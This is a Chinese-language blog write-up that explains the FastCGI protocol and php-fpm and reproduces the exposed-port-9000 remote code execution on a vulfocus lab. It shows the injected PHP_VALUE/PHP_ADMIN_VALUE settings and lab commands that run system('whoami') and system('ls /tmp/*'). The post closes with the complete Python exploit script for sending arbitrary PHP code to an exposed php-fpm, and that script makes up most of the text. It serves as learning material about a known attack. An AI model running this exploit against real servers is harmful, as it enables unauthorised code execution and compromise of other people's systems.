前言

这是p牛在2017年的trick,距离现在已经快过去5年了,对其原理稍作总结,并复现vulfocus上的相关环境。

PS:前几个月一直在想办法投稿文章恰烂钱,现在寒假开始了,发现自己需要补的漏洞越来越大了,正常情况下,这篇文章如果投稿给合天应该也是能通过恰点烂钱,不过还是算了,补基础补基础,还是补基础。否则,如果某篇投稿文章出现了很严重的知识错误,以后估计也就不用混了hh。

什么是fastcgi?

fastcgi是一种通信协议

与HTTP协议类似,不过HTTP是介于浏览器到服务器中间件的一种协议(Chrome=>Nginx/Apache),而fastcgi是服务器中间件到一些后端语言的一种协议(Nginx/Apache=>PHP)。

如果一个用户请求了某个PHP页面,那么对应的流程应该是这样:Chrome=>Nginx=>PHP。其中Chrome到Nginx使用的是HTTP协议,而Nginx到PHP使用了fastcgi通信协议。而Nginx在这个流程所做的事情就是:根据用户在Chrome中的请求,将一些请求信息(如:请求页面,GET参数,POST参数,cookie等等)封装好以后传给PHP,PHP在执行后将数据返回给Nginx,最终呈现到用户的浏览器中。

其中fastcgi协议的结构如下:(转自p牛)

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typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

其中type值对应的具体含义如下:

type值 具体含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

什么是php-fpm?

FPM是fastcgi协议的解析器,且默认监听9000端口

当Nginx将fastcgi打包好的请求发送给php,这里的php具体指的就是php-fpm

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

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{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

一张图看懂这些服务以及协议的关系:

image-20220110145215973

如何进行RCE?

需要的配置:

  • php-fpm默认监听的9000端口暴露在公网
  • allow_url_include = On

上文提到,php-fpm默认监听9000端口,因此如果9000端口开放在公网,并且我们能直接和php-fpm通信,那么我们就可以做到直接让php执行任意文件。

然而任意执行文件还是不能达到RCE,那么我们就需要借助PHP的其他配置:auto_prepend_fileauto_append_file

如果我们将auto_prepend_file的值配置为php://input,那么每次在执行任意文件的时候,就会先包含执行POST中的内容,最终实现RCE。

那么如何配置php.ini呢?

在php-fpm中有两个环境变量PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。

最终传入的环境变量为:

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{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

vulfocus环境复现

复现地址:首页 - vulfocus (fofa.so)

镜像信息:

image-20220110144317898

使用到的Exp:Fastcgi PHP-FPM Client && Code Execution (github.com)

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python php-fpm-exp.py vulfocus.fofa.so -p 23291 /usr/local/lib/php/PEAR.php -c "<?php system('whoami');?>"

image-20220110144805207

拿flag

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python php-fpm-exp.py vulfocus.fofa.so -p 23291 /usr/local/lib/php/PEAR.php -c "<?php system('ls /tmp/*');?>"

image-20220110144904905

参考文章

附(p牛exp)

exp地址:Fastcgi PHP-FPM Client && Code Execution (github.com)

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import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

(希望能早日编写第一个属于自己的exp)